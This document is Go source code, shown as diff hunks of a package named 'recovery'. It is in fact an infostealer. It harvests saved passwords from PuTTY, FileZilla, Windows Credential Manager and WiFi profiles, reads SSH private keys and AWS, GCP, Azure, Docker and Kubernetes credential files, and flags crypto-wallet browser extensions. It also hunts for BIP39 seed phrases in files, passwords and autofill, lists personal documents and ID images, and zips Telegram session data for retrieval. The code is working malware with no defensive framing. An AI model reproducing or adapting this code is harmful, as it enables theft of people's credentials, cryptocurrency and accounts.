parts = append(parts, "proxy:"+proxyHost)
}
extra = strings.Join(parts, "; ")
}
// URL-decode session name for display purposes
decodedName := strings.ReplaceAll(sess, "%20", " ")
_ = decodedName
results = append(results, types.AppCredentialResult{
Application: "PuTTY",
Host: hostname,
Port: port,
Username: username,
Protocol: protocol,
Extra: extra,
})
}
return results
}
// ── FileZilla ──────────────────────────────────────────────────────────
type fzServer struct {
XMLName xml.Name `xml:"Server"`
Host string `xml:"Host"`
Port int `xml:"Port"`
Protocol int `xml:"Protocol"`
User string `xml:"User"`
Pass string `xml:"Pass"`
}
type fzSiteManager struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServer `xml:"Servers>Server"`
}
type fzRecentServers struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServer `xml:"RecentServers>Server"`
}
func scanFileZilla() []types.AppCredentialResult {
var results []types.AppCredentialResult
appdata := os.Getenv("APPDATA")
if appdata == "" {
return nil
}
fzDir := filepath.Join(appdata, "FileZilla")
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
path := filepath.Join(fzDir, file)
data, err := os.ReadFile(path)
if err != nil {
continue
}
var servers []fzServer
if file == "sitemanager.xml" {
var sm fzSiteManager
if xml.Unmarshal(data, &sm) == nil {
servers = sm.Servers
}
} else {
var rs fzRecentServers
if xml.Unmarshal(data, &rs) == nil {
servers = rs.Servers
}
}
for _, s := range servers {
if s.Host == "" {
continue
}
port := s.Port
if port == 0 {
port = 21
}
protocol := "ftp"
switch s.Protocol {
case 1:
protocol = "sftp"
case 3, 4:
protocol = "ftps"
}
results = append(results, types.AppCredentialResult{
Application: "FileZilla",
Host: s.Host,
Port: port,
Username: s.User,
Password: s.Pass,
Protocol: protocol,
})
}
}
return results
}
// ── Windows Credential Manager ─────────────────────────────────────────
type credEntry struct {
target string
username string
password string
credType uint32
}
func enumCredentials() []credEntry {
var count uint32
var credsPtr uintptr
ret, _, _ := procCredEnumerateW.Call(
0,
0,
uintptr(unsafe.Pointer(&count)),
uintptr(unsafe.Pointer(&credsPtr)),
)
if ret == 0 || count == 0 {
return nil
}
defer procCredFree.Call(credsPtr)
var results []credEntry
for i := uint32(0); i < count; i++ {
entryPtr := *(*uintptr)(unsafe.Pointer(credsPtr + uintptr(i)*unsafe.Sizeof(uintptr(0))))
c := (*winCredential)(unsafe.Pointer(entryPtr))
target := windows.UTF16PtrToString(c.TargetName)
username := ""
if c.UserName != nil {
username = windows.UTF16PtrToString(c.UserName)
}
password := ""
if c.CredentialBlobSize > 0 && c.CredentialBlob != nil {
blob := unsafe.Slice(c.CredentialBlob, c.CredentialBlobSize)
password = string(blob)
}
results = append(results, credEntry{
target: target,
username: username,
password: password,
credType: c.Type,
})
}
return results
}
func credManagerLookup(target string) string {
target = strings.ToLower(target)
for _, c := range enumCredentials() {
if strings.ToLower(c.target) == target {
return c.password
}
}
return ""
}
func scanCredentialManager() []types.AppCredentialResult {
var results []types.AppCredentialResult
for _, c := range enumCredentials() {
target := strings.ToLower(c.target)
// Skip TERMSRV entries (already handled by RDP scanner)
if strings.HasPrefix(target, "termsrv/") {
continue
}
// Skip entries with no useful data
if c.username == "" && c.password == "" {
continue
}
typeName := "generic"
switch c.credType {
case credTypeDomainPassword:
typeName = "domain"
case credTypeDomainCertificate:
typeName = "certificate"
}
results = append(results, types.AppCredentialResult{
Application: "CredManager",
Host: c.target,
Username: c.username,
Password: c.password,
Protocol: typeName,
})
}
return results
}
// ── WiFi ───────────────────────────────────────────────────────────────
func scanWiFi() []types.AppCredentialResult {
var results []types.AppCredentialResult
cmd := exec.Command("netsh", "wlan", "show", "profiles")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
out, err := cmd.Output()
if err != nil {
return nil
}
var profiles []string
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if idx := strings.Index(line, ": "); idx >= 0 {
lower := strings.ToLower(line[:idx])
if strings.Contains(lower, "all user profile") || strings.Contains(lower, "profil") {
name := strings.TrimSpace(line[idx+2:])
if name != "" {
profiles = append(profiles, name)
}
}
}
}
for _, name := range profiles {
cmd := exec.Command("netsh", "wlan", "show", "profile", fmt.Sprintf("name=%s", name), "key=clear")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
out, err := cmd.Output()
if err != nil {
continue
}
password := ""
auth := ""
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if idx := strings.Index(line, ": "); idx >= 0 {
lower := strings.ToLower(line[:idx])
val := strings.TrimSpace(line[idx+2:])
if strings.Contains(lower, "key content") || strings.Contains(lower, "contenu") {
password = val
} else if strings.Contains(lower, "authentication") || strings.Contains(lower, "authentification") {
auth = val
}
}
}
results = append(results, types.AppCredentialResult{
Application: "WiFi",
Host: name,
Username: auth,
Password: password,
Protocol: "wifi",
})
}
return results
}
@@ -0,0 +1,147 @@
package scanner
import (
"encoding/json"
"os"
"path/filepath"
"strings"
"recovery/recovery/browser"
"recovery/recovery/types"
)
var knownWalletExtensions = map[string]string{
"bhghoamapcdpbohphigoooaddinpkbai": "Authenticator",
"fhbohimaelbohpjbbldcngcnapndodjp": "Binance",
"fihkakfobkmkjojpchpfgcmhfjnmnfpi": "Bitapp",
"aodkkagnadcbobfpggfnjeongemjbjca": "BoltX",
"aeachknmefphepccionboohckonoeemg": "Coin98",
"hnfanknocfeofbddgcijnmhnfnkdnaad": "Coinbase",
"agoakfejjabomempkjlepdflaleeobhb": "Core",
"pnlfjmlcjdjgkddecgincndfgegkecke": "Crocobit",
"blnieiiffboillknjnepogjhkgnoapac": "Equal",
"cgeeodpfagjceefieflmdfphplkenlfk": "Ever",
"aholpfdialjgjfhomihkjbmgjidlcdno": "ExodusWeb3",
"ebfidpplhabeedpnhjnobghokpiioolj": "Fewcha",
"cjmkndjhnagcfbpiemnkdpomccnjblmj": "Finnie",
"hpglfhgfnhbgpjdenjgmdgoeiappafln": "Guarda",
"nanjmdknhkinifnkgdcggcfnhdaammmj": "Guild",
"fnnegphlobjdpkhecapkijjdkgcjhkib": "Harmony",
"flpiciilemghbmfalicajoolhkkenfel": "Iconex",
"cjelfplplebdjjenllpjcblmjkfcffne": "Jaxx Liberty",
"jblndlipeogpafnldhgmapagcccfchpi": "Kaikas",
"pdadjkfkgcafgbceimcpbkalnfnepbnk": "KardiaChain",
"dmkamcknogkgcdfhhbddcghachkejeap": "Keplr",
"kpfopkelmapcoipemfendmdcghnegimn": "Liquality",
"nlbmnnijcnlegkjjpcfjclmcfggfefdm": "MEWCX",
"dngmlblcodfobpdpecaadgfbcggfjfnm": "MaiarDEFI",
"efbglgofoippbgcjepnhiblaibcnclgk": "Martian",
"afbcbjpbpfadlkmhmclhkeeodmamcflc": "Math",
"nkbihfbeogaeaoehlefnkodbefgpgknn": "Metamask",
"ejbalbakoplchlghecdalmeeeajnimhm": "Metamask",
"fcckkdbjnoikooededlapcalpionmalo": "Mobox",
"lpfcbjknijpeeillifnkikgncikgfhdo": "Nami",
"jbdaocneiiinmjbjlgalhcelgbejmnid": "Nifty",
"fhilaheimglignddkjgofkcbgekhenbh": "Oxygen",
"mgffkfbidihjpoaomajlbgchddlicgpn": "PaliWallet",
"ejjladinnckdgjemekebdpeokbikhfci": "Petra",
"bfnaelmomeimhlpmgjnjophhpkkoljpa": "Phantom",
"phkbamefinggmakgklpkljjmgibohnba": "Pontem",
"fnjhmkhhmkbjkkabndcnnogagogbneec": "Ronin",
"lgmpcpglpngdoalbgeoldeajfclnhafa": "Safepal",
"nkddgncdjgjfcddamfgcmfnlhccnimig": "Saturn",
"pocmplpaccanhmnllbbkpgfliimjljgo": "Slope",
"bhhhlbepdkbapadjdnnojkbgioiodbic": "Solflare",
"fhmfendgdocmcbmfikdcogofphimnkno": "Sollet",
"mfhbebgoclkghebffdldpobeajmbecfk": "Starcoin",
"cmndjbecilbocjfkibfbifhngkdmjgog": "Swash",
"ookjlbkiijinhpmnjffcofjonbfbgaoc": "TempleTezos",
"aiifbnbfobpmeekipheeijimdpnlpgpp": "TerraStation",
"mfgccjchihfkkindfppnaooecgfneiii": "Tokenpocket",
"nphplpgoakhhjchkkhmiggakijnkhfnd": "Ton",
"ibnejdfjmmkpcnlpebklmnkoeoihofec": "Tron",
"egjidjbpglichdcondbcbdnbeeppgdph": "Trust Wallet",
"amkmjjmmflddogmhpjloimipbofnfjih": "Wombat",
"hmeobnfnfcmdkdcmlblgagmfpfboieaf": "XDEFI",
"eigblbgjknlfbajkfhopmcojidlgcehm": "XMR.PT",
"bocpokimicclpaiekenaeelehdjllofo": "XinPay",
"ffnbelfdoeiohenkjibnmadjiehjhajb": "Yoroi",
"kncchdigobghenbbaddojjnnaogfppfj": "iWallet",
}
func ScanExtensions() []types.ExtensionResult {
var results []types.ExtensionResult
for _, cfg := range browser.Browsers {
if cfg.IsFirefox {
continue
}
profiles := browser.FindProfileDirs(cfg)
for _, profile := range profiles {
extDir := filepath.Join(profile.Path, "Extensions")
entries, err := os.ReadDir(extDir)
if err != nil {
continue
}
for _, e := range entries {
if !e.IsDir() {
continue
}
extID := e.Name()
// Skip internal Chromium marker dirs
if strings.HasPrefix(extID, "_") {
continue
}
extIDDir := filepath.Join(extDir, extID)
versionDirs, err := os.ReadDir(extIDDir)
if err != nil {
continue
}
for _, vd := range versionDirs {
if !vd.IsDir() {
continue
}
versionPath := filepath.Join(extIDDir, vd.Name())
name, version := readManifestBasics(filepath.Join(versionPath, "manifest.json"))
category := ""
if walletName, ok := knownWalletExtensions[extID]; ok {
category = "wallet"
if name == "" {
name = walletName
}
}
results = append(results, types.ExtensionResult{
ExtID: extID,
Name: name,
Version: version,
Browser: cfg.Name,
Profile: profile.Name,
Path: versionPath,
Category: category,
})
break // first version directory only
}
}
}
}
return results
}
type manifestBasics struct {
Name string `json:"name"`
Version string `json:"version"`
}
func readManifestBasics(path string) (name, version string) {
data, err := os.ReadFile(path)
if err != nil {
return "", ""
}
var m manifestBasics
if err := json.Unmarshal(data, &m); err != nil {
return "", ""
}
if strings.HasPrefix(m.Name, "__MSG_") {
m.Name = ""
}
return m.Name, m.Version
}
@@ -0,0 +1,170 @@
package scanner
import (
"fmt"
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
)
const (
maxFiles = 500
maxScanDepth = 3
maxFileSizeList = 100 * 1024 * 1024 // 100 MB — skip larger files from listing
MaxFetchSize = 10 * 1024 * 1024 // 10 MB — max content returned per fetch
)
var targetExtensions = map[string]bool{
// Office documents
".docx": true, ".doc": true, ".docm": true,
".xlsx": true, ".xls": true, ".xlsm": true,
".pptx": true, ".ppt": true, ".pptm": true,
".odt": true, ".ods": true, ".odp": true,
// Plain text / markup
".txt": true, ".rtf": true, ".md": true,
".csv": true, ".tsv": true,
// PDFs
".pdf": true,
// Archives (metadata only — content not fetched automatically)
".zip": true, ".7z": true, ".rar": true, ".tar": true, ".gz": true,
// Credential / key files
".kdbx": true, ".key": true, ".pem": true,
".p12": true, ".pfx": true, ".ppk": true, ".jks": true,
// Dotenv — commonly stores API keys and secrets
".env": true,
// Images — IDs, passports, screenshots of credentials, seed phrases
".jpg": true, ".jpeg": true, ".png": true, ".gif": true,
".bmp": true, ".webp": true, ".tiff": true, ".tif": true,
".heic": true, ".heif": true,
}
// seedPhraseLengths are the BIP39 word counts we consider suspicious.
var seedPhraseLengths = map[int]bool{12: true, 20: true, 24: true}
type scanLocation struct {
subPath string
label string
}
// ScanFiles walks common user locations and returns matching file metadata.
// At most maxFiles results are returned. Files larger than maxFileSizeList are skipped.
func ScanFiles() []types.FileResult {
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
var results []types.FileResult
seen := make(map[string]bool)
for _, loc := range getScanLocations() {
dir := filepath.Join(home, loc.subPath)
scanDir(dir, loc.label, 0, &results, seen)
if len(results) >= maxFiles {
break
}
}
return results
}
func scanDir(dir, label string, depth int, results *[]types.FileResult, seen map[string]bool) {
if depth > maxScanDepth || len(*results) >= maxFiles {
return
}
entries, err := os.ReadDir(dir)
if err != nil {
return
}
for _, e := range entries {
if len(*results) >= maxFiles {
return
}
name := e.Name()
// skip hidden / system files
if strings.HasPrefix(name, ".") || strings.HasPrefix(name, "$") {
continue
}
fullPath := filepath.Join(dir, name)
if e.IsDir() {
scanDir(fullPath, label, depth+1, results, seen)
continue
}
ext := strings.ToLower(filepath.Ext(name))
if !targetExtensions[ext] {
continue
}
if seen[fullPath] {
continue
}
seen[fullPath] = true
info, err := e.Info()
if err != nil {
continue
}
if info.Size() > maxFileSizeList {
continue
}
var tags []string
if contentTags := contentFileTags(fullPath, ext, info.Size()); len(contentTags) > 0 {
tags = contentTags
}
*results = append(*results, types.FileResult{
Path: fullPath,
Name: name,
Ext: ext,
Size: info.Size(),
Modified: info.ModTime().Unix(),
Dir: label,
Tags: tags,
})
}
}
// looksLikeSeedLine returns true if every word is 38 lowercase letters.
// BIP39 words are exclusively lowercase az with lengths in that range.
func looksLikeSeedLine(words []string) bool {
if !seedPhraseLengths[len(words)] {
return false
}
for _, w := range words {
if len(w) < 3 || len(w) > 8 {
return false
}
for _, c := range w {
if c < 'a' || c > 'z' {
return false
}
}
}
return true
}
// FetchFile reads a file and returns its raw bytes.
// Returns an error if the file exceeds MaxFetchSize or does not exist.
func FetchFile(path string) ([]byte, error) {
info, err := os.Stat(path)
if err != nil {
return nil, fmt.Errorf("file not found")
}
if info.IsDir() {
return nil, fmt.Errorf("path is a directory")
}
if info.Size() > MaxFetchSize {
return nil, fmt.Errorf("file too large (%d bytes, max %d)", info.Size(), MaxFetchSize)
}
return os.ReadFile(path)
}
@@ -0,0 +1,14 @@
//go:build !windows
package scanner
func getScanLocations() []scanLocation {
return []scanLocation{
{"Desktop", "Desktop"},
{"Documents", "Documents"},
{"Downloads", "Downloads"},
{".local/share", ".local/share"},
{"Dropbox", "Dropbox"},
{"snap", "Snap"},
}
}
@@ -0,0 +1,17 @@
//go:build windows
package scanner
func getScanLocations() []scanLocation {
return []scanLocation{
{"Desktop", "Desktop"},
{"Documents", "Documents"},
{"Downloads", "Downloads"},
{`OneDrive\Desktop`, "OneDrive/Desktop"},
{`OneDrive\Documents`, "OneDrive/Documents"},
{`OneDrive - Personal\Desktop`, "OneDrive/Desktop"},
{`OneDrive - Personal\Documents`, "OneDrive/Documents"},
{`OneDrive - Business\Desktop`, "OneDrive/Desktop"},
{`OneDrive - Business\Documents`, "OneDrive/Documents"},
}
}
@@ -0,0 +1,313 @@
package scanner
import (
"os"
"path/filepath"
"runtime"
"strings"
"recovery/recovery/types"
)
const maxKeyFileSize = 512 * 1024 // 512KB
func gcpConfigDir(home string) string {
if runtime.GOOS == "windows" {
return filepath.Join(home, "AppData", "Roaming", "gcloud")
}
return filepath.Join(home, ".config", "gcloud")
}
func ScanKeys() []types.KeyResult {
var results []types.KeyResult
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
results = append(results, scanSSHKeys(home)...)
results = append(results, scanAWSCredentials(home)...)
results = append(results, scanGCPCredentials(home)...)
results = append(results, scanAzureCredentials(home)...)
results = append(results, scanDockerCredentials(home)...)
results = append(results, scanKubeConfig(home)...)
results = append(results, scanEnvFiles(home)...)
return results
}
func scanSSHKeys(home string) []types.KeyResult {
sshDir := filepath.Join(home, ".ssh")
entries, err := os.ReadDir(sshDir)
if err != nil {
return nil
}
var results []types.KeyResult
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if name == "known_hosts" || name == "authorized_keys" || strings.HasSuffix(name, ".pub") || name == "config" {
continue
}
path := filepath.Join(sshDir, name)
info, err := e.Info()
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
content := string(data)
if isPrivateKey(content) {
results = append(results, types.KeyResult{
Type: "ssh",
Name: name,
Path: path,
Size: info.Size(),
Content: content,
})
}
}
configPath := filepath.Join(sshDir, "config")
if info, err := os.Stat(configPath); err == nil && info.Size() < maxKeyFileSize {
if data, err := os.ReadFile(configPath); err == nil && len(data) > 0 {
results = append(results, types.KeyResult{
Type: "ssh_config",
Name: "config",
Path: configPath,
Size: info.Size(),
Content: string(data),
})
}
}
return results
}
func isPrivateKey(content string) bool {
markers := []string{
"-----BEGIN OPENSSH PRIVATE KEY-----",
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN PRIVATE KEY-----",
"-----BEGIN ENCRYPTED PRIVATE KEY-----",
"PuTTY-User-Key-File-",
}
for _, m := range markers {
if strings.Contains(content, m) {
return true
}
}
return false
}
func scanAWSCredentials(home string) []types.KeyResult {
var results []types.KeyResult
awsDir := filepath.Join(home, ".aws")
for _, name := range []string{"credentials", "config"} {
path := filepath.Join(awsDir, name)
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
results = append(results, types.KeyResult{
Type: "aws",
Name: name,
Path: path,
Size: info.Size(),
Content: string(data),
})
}
return results
}
func scanGCPCredentials(home string) []types.KeyResult {
var results []types.KeyResult
gcpDir := gcpConfigDir(home)
candidates := []string{
filepath.Join(gcpDir, "application_default_credentials.json"),
filepath.Join(gcpDir, "credentials.db"),
filepath.Join(gcpDir, "properties"),
}
for _, dir := range []string{
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
} {
entries, err := os.ReadDir(dir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if strings.HasSuffix(name, ".json") && (strings.Contains(name, "service") || strings.Contains(name, "gcp") || strings.Contains(name, "google")) {
candidates = append(candidates, filepath.Join(dir, name))
}
}
}
for _, path := range candidates {
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
content := string(data)
if strings.Contains(content, "client_secret") || strings.Contains(content, "private_key") || strings.Contains(content, "type") {
results = append(results, types.KeyResult{
Type: "gcp",
Name: filepath.Base(path),
Path: path,
Size: info.Size(),
Content: content,
})
}
}
return results
}
func scanAzureCredentials(home string) []types.KeyResult {
var results []types.KeyResult
azureDir := filepath.Join(home, ".azure")
candidates := []string{
filepath.Join(azureDir, "accessTokens.json"),
filepath.Join(azureDir, "azureProfile.json"),
filepath.Join(azureDir, "msal_token_cache.json"),
filepath.Join(azureDir, "service_principal_entries.json"),
}
for _, path := range candidates {
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
results = append(results, types.KeyResult{
Type: "azure",
Name: filepath.Base(path),
Path: path,
Size: info.Size(),
Content: string(data),
})
}
return results
}
func scanDockerCredentials(home string) []types.KeyResult {
var results []types.KeyResult
path := filepath.Join(home, ".docker", "config.json")
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
if strings.Contains(string(data), "auths") {
results = append(results, types.KeyResult{
Type: "docker",
Name: "config.json",
Path: path,
Size: info.Size(),
Content: string(data),
})
}
return results
}
func scanKubeConfig(home string) []types.KeyResult {
var results []types.KeyResult
path := filepath.Join(home, ".kube", "config")
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
results = append(results, types.KeyResult{
Type: "kubernetes",
Name: "config",
Path: path,
Size: info.Size(),
Content: string(data),
})
return results
}
func scanEnvFiles(home string) []types.KeyResult {
var results []types.KeyResult
searchDirs := []string{
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
for _, dir := range searchDirs {
entries, err := os.ReadDir(dir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if name != ".env" && !strings.HasPrefix(name, ".env.") {
continue
}
path := filepath.Join(dir, name)
info, err := e.Info()
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
results = append(results, types.KeyResult{
Type: "env",
Name: name,
Path: path,
Size: info.Size(),
Content: string(data),
})
}
}
return results
}
@@ -0,0 +1,7 @@
package scanner
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[scanner] "+format, args...)
}
@@ -0,0 +1,274 @@
package scanner
import (
"os"
"regexp"
"strings"
"recovery/recovery/types"
)
// BIP39-valid word counts
var validSeedLengths = map[int]bool{
12: true, 15: true, 18: true, 21: true, 24: true,
}
const seedScanMaxFileSize = 1 * 1024 * 1024 // 1MB
var seedScanFileExts = map[string]bool{
".txt": true, ".md": true, ".csv": true, ".tsv": true,
".log": true, ".rtf": true, ".json": true, ".xml": true,
".env": true, ".cfg": true, ".conf": true, ".ini": true,
".bak": true, ".old": true, ".tmp": true, ".note": true,
".doc": true, ".nfo": true, ".asc": true, ".key": true,
".pem": true, ".p12": true, ".ppk": true, ".der": true, ".pfx": true,
}
// contentScanExts are the text formats read during the file listing scan to
// look for sensitive plaintext (BIP39 seed phrases, PEM private keys).
var contentScanExts = seedScanFileExts
// privateKeyRe matches PEM private-key header lines. The optional algorithm
// prefix covers RSA/EC/OPENSSH/DSA/ENCRYPTED keys plus the bare PKCS#8 form.
var privateKeyRe = regexp.MustCompile(`(?m)^-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED )?PRIVATE KEY-----`)
// contentFileTags reads a small text file once and returns the security tags
// that apply to it: "seed" when it contains a BIP39 phrase and "key" when it
// contains a PEM private-key header. Returns nil when the file is not a
// recognized text format or is too large to scan.
func contentFileTags(path, ext string, size int64) []string {
if !contentScanExts[ext] || size == 0 || size > seedScanMaxFileSize {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
var tags []string
content := strings.ToLower(string(data))
if looksLikeSeedLine(strings.Fields(content)) {
tags = append(tags, "seed")
} else {
for _, line := range strings.Split(content, "\n") {
if looksLikeSeedLine(strings.Fields(strings.TrimSpace(line))) {
tags = append(tags, "seed")
break
}
}
}
// PEM headers are case-sensitive, so match against the raw bytes.
if privateKeyRe.Match(data) {
tags = append(tags, "key")
}
return tags
}
// numberedLineRe strips leading "1." / "1)" / "1:" / "1 -" prefixes from numbered lists
var numberedLineRe = regexp.MustCompile(`^\s*\d{1,2}\s*[.):\-]\s*`)
// ScanSeeds searches collected data for BIP39 seed phrases.
// Checks file contents, password values, and autofill values.
func ScanSeeds(files []types.FileResult, passwords []types.PasswordResult, autofill []types.AutofillResult) []types.SeedResult {
seen := make(map[string]bool)
var results []types.SeedResult
// Scan files
for _, f := range files {
if f.Size > seedScanMaxFileSize || f.Size == 0 {
continue
}
if !seedScanFileExts[f.Ext] {
continue
}
data, err := os.ReadFile(f.Path)
if err != nil {
continue
}
for _, phrase := range extractSeedPhrases(string(data)) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "file",
Path: f.Path,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
}
// Scan passwords
for _, p := range passwords {
for _, phrase := range extractSeedPhrases(p.Password) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "password",
Path: p.URL,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
for _, phrase := range extractSeedPhrases(p.Username) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "password",
Path: p.URL,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
}
// Scan autofill values
for _, a := range autofill {
for _, phrase := range extractSeedPhrases(a.Value) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "autofill",
Path: a.Name,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
}
return results
}
// extractSeedPhrases finds all BIP39-like seed phrases in text content.
// Handles: space-separated, comma-separated, numbered lists, newline-separated.
func extractSeedPhrases(content string) []string {
if len(content) == 0 {
return nil
}
content = strings.ToLower(content)
var found []string
// Strategy 1: full content as one phrase (file contains only the seed)
if phrase := tryExtractPhrase(content); phrase != "" {
found = append(found, phrase)
return found
}
// Strategy 2: line-by-line (seed on one line)
for _, line := range strings.Split(content, "\n") {
line = strings.TrimSpace(line)
if line == "" {
continue
}
if phrase := tryExtractPhrase(line); phrase != "" {
found = append(found, phrase)
}
}
// Strategy 3: numbered list — collect words from "1. word\n2. word\n..."
if phrase := tryNumberedList(content); phrase != "" {
if !containsPhrase(found, phrase) {
found = append(found, phrase)
}
}
// Strategy 4: comma-separated words
if strings.Contains(content, ",") {
normalized := strings.ReplaceAll(content, ",", " ")
if phrase := tryExtractPhrase(normalized); phrase != "" {
if !containsPhrase(found, phrase) {
found = append(found, phrase)
}
}
}
return found
}
// tryExtractPhrase checks if text contains a valid seed phrase
func tryExtractPhrase(text string) string {
words := strings.Fields(text)
if isValidSeedPhrase(words) {
return strings.Join(words, " ")
}
// Try sliding window for phrases embedded in longer text
for _, count := range []int{24, 21, 18, 15, 12} {
if len(words) < count {
continue
}
for i := 0; i <= len(words)-count; i++ {
window := words[i : i+count]
if isValidSeedPhrase(window) {
return strings.Join(window, " ")
}
}
}
return ""
}
// tryNumberedList extracts words from numbered list format:
// "1. abandon\n2. ability\n3. able\n..."
func tryNumberedList(content string) string {
lines := strings.Split(content, "\n")
var words []string
for _, line := range lines {
line = strings.TrimSpace(line)
if line == "" {
continue
}
cleaned := numberedLineRe.ReplaceAllString(line, "")
cleaned = strings.TrimSpace(cleaned)
if cleaned == "" {
continue
}
// Each numbered line should have exactly one word
lineWords := strings.Fields(cleaned)
if len(lineWords) == 1 && isBIP39Word(lineWords[0]) {
words = append(words, lineWords[0])
}
}
if isValidSeedPhrase(words) {
return strings.Join(words, " ")
}
return ""
}
func isValidSeedPhrase(words []string) bool {
if !validSeedLengths[len(words)] {
return false
}
for _, w := range words {
if !isBIP39Word(w) {
return false
}
}
return true
}
// isBIP39Word checks if a word matches BIP39 characteristics:
// lowercase a-z only, 3-8 characters.
func isBIP39Word(w string) bool {
if len(w) < 3 || len(w) > 8 {
return false
}
for _, c := range w {
if c < 'a' || c > 'z' {
return false
}
}
return true
}
func containsPhrase(phrases []string, phrase string) bool {
for _, p := range phrases {
if p == phrase {
return true
}
}
return false
}
@@ -0,0 +1,234 @@
package scanner
import (
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
type telegramPathConfig struct {
name string
subPath string
base string
}
var tdataSessionFiles = map[string]bool{
"key_datas": true,
"usertag": true,
"settings0": true,
"settings1": true,
"configs": true,
}
func isTdataSessionDir(name string) bool {
if len(name) != 16 {
return false
}
for _, c := range name {
if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
return false
}
}
return true
}
func ScanTelegram() []types.TelegramResult {
var results []types.TelegramResult
for _, tp := range getTelegramPaths() {
base := resolveTelegramBase(tp.base)
if base == "" {
continue
}
tdataDir := filepath.Join(base, tp.subPath)
if _, err := os.Stat(tdataDir); err != nil {
continue
}
accounts := findTelegramAccounts(tdataDir)
for _, acc := range accounts {
results = append(results, types.TelegramResult{
Account: acc.account,
Path: acc.path,
Files: acc.files,
Size: acc.size,
})
}
}
return results
}
type telegramAccount struct {
account string
path string
files int
size int64
}
func findTelegramAccounts(tdataDir string) []telegramAccount {
var accounts []telegramAccount
entries, err := os.ReadDir(tdataDir)
if err != nil {
return nil
}
hasKeyData := false
for _, e := range entries {
if !e.IsDir() && e.Name() == "key_datas" {
hasKeyData = true
break
}
}
if hasKeyData {
files, size := countTdataFiles(tdataDir)
if files > 0 {
accounts = append(accounts, telegramAccount{
account: "Main",
path: tdataDir,
files: files,
size: size,
})
}
}
for _, e := range entries {
if !e.IsDir() {
continue
}
name := e.Name()
if !isTdataSessionDir(name) {
continue
}
sessionDir := filepath.Join(tdataDir, name)
sessionEntries, err := os.ReadDir(sessionDir)
if err != nil {
continue
}
hasData := false
for _, se := range sessionEntries {
if !se.IsDir() {
hasData = true
break
}
}
if hasData {
files, size := countTdataSessionFiles(sessionDir)
accounts = append(accounts, telegramAccount{
account: name,
path: sessionDir,
files: files,
size: size,
})
}
}
return accounts
}
func countTdataFiles(tdataDir string) (int, int64) {
var count int
var totalSize int64
entries, err := os.ReadDir(tdataDir)
if err != nil {
return 0, 0
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if tdataSessionFiles[name] || strings.HasSuffix(name, "s") && tdataSessionFiles[strings.TrimSuffix(name, "s")] {
info, err := e.Info()
if err != nil {
continue
}
count++
totalSize += info.Size()
}
}
return count, totalSize
}
func countTdataSessionFiles(dir string) (int, int64) {
var count int
var totalSize int64
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
count++
totalSize += info.Size()
return nil
})
return count, totalSize
}
func ZipTelegram(path string) ([]byte, error) {
info, err := os.Stat(path)
if err != nil {
return nil, err
}
if !info.IsDir() {
return nil, os.ErrNotExist
}
// If this is a session subfolder (hex name), just zip its contents directly
if isTdataSessionDir(filepath.Base(path)) {
return ziputil.ZipDirectory(path)
}
// Otherwise this is the tdata root — zip key files + session subdirs
return zipTdataRoot(path)
}
func zipTdataRoot(tdataDir string) ([]byte, error) {
entries, err := os.ReadDir(tdataDir)
if err != nil {
return nil, err
}
var filesToZip []string
for _, e := range entries {
name := e.Name()
if e.IsDir() {
if isTdataSessionDir(name) {
